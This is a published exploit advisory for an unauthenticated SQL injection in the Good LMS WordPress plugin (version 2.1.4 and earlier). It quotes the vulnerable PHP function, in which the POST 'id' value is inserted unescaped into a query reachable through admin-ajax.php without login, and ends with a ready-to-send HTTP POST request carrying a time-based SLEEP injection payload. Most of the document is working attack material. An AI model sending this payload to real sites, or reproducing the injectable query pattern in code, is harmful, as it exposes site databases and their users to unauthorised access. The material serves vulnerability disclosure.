Wordpress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection

# Exploit Title: Wordpress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection
# Software Link: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850
# Version: <= 2.1.4
# Dork: N/A
# Author: Abdulazeez Alaseeri
# Tested on: linux/apache
# Type: Web App
# Date: 2020-11-12
# Category: Web App


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Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4
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Plugin URL: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850

Following is the vulnerable code in file "goodlayers-lms/include/lightbox-form.php" from line 682 to 701
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Start Vulnerable Code
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682-	add_action( 'wp_ajax_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
683-	add_action( 'wp_ajax_nopriv_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
684-	function gdlr_lms_cancel_booking(){
685-		global $wpdb;
686-
687-		$sql  = 'SELECT * FROM ' . $wpdb->prefix . 'gdlrpayment ';
688-		$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';
689-		$sql .= '(payment_status=\'pending\' OR payment_status=\'submitted\' OR payment_status=\'reserved\')';
690-		$booked_course = $wpdb->get_row($sql);
691-		if( !empty($booked_course) ){
692-			$payment_info = unserialize($booked_course->payment_info);
693-
694-			$course_options = gdlr_lms_get_course_options($booked_course->course_id);
695-			$course_options['booked-seat'] = intval($course_options['booked-seat']) - intval($payment_info['amount']);
696-			update_post_meta($booked_course->course_id, 'gdlr-lms-course-settings', wp_slash(json_encode($course_options, JSON_UNESCAPED_UNICODE)));
697-
698-			$wpdb->delete( $wpdb->prefix . 'gdlrpayment', array('id'=>$_POST['id']), array('%d'));
699-		}
700-		die("");
701-	}
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End Vulnerable Code
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Line 682 means that function "gdlr_lms_cancel_booking" can be called using "/wp-admin/admin-ajax.php" by having any low privileged account such as subscriber or contributor. However the "nopriv" in line 683 means that the same function "gdlr_lms_cancel_booking" can also be called as an unauthenticated user. Following URL means that an attacker is already inside function "gdlr_lms_cancel_booking".

http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking

SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query as variable "id"

$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';

Following are the Request Headers as POC which demonstrates MySQL SLEEP Query.

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Request Headers Start
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POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)
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Request Headers Finish
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